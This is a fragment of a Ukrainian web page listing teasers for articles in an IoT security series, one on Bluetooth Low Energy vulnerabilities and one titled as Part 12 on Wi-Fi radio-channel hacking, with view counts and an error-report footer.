У цьому розділі ви дізнаєтеся, як працює зв'язок BLE, вивчите поширене апаратне та програмне забезпечення для зв'язку з пристроями BLE, а також дізнаєтеся, як ефективно виявляти та використовувати вразливості безпеки.
911
Для початківцівОсвіта
Читати далі
Частина 12. Злом радіоканалів. (Радіоканали середнього радіусу дії злом Wi-Fi)
В розділі, присвяченому технології Wi-Fi в контексті пристроїв Інтернету речей (IoT), ми дослідимо основи функціонування Wi-Fi, а також вивчимо деякі з основних атак, які можуть бути спрямовані на бездротові мережі.
1351
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.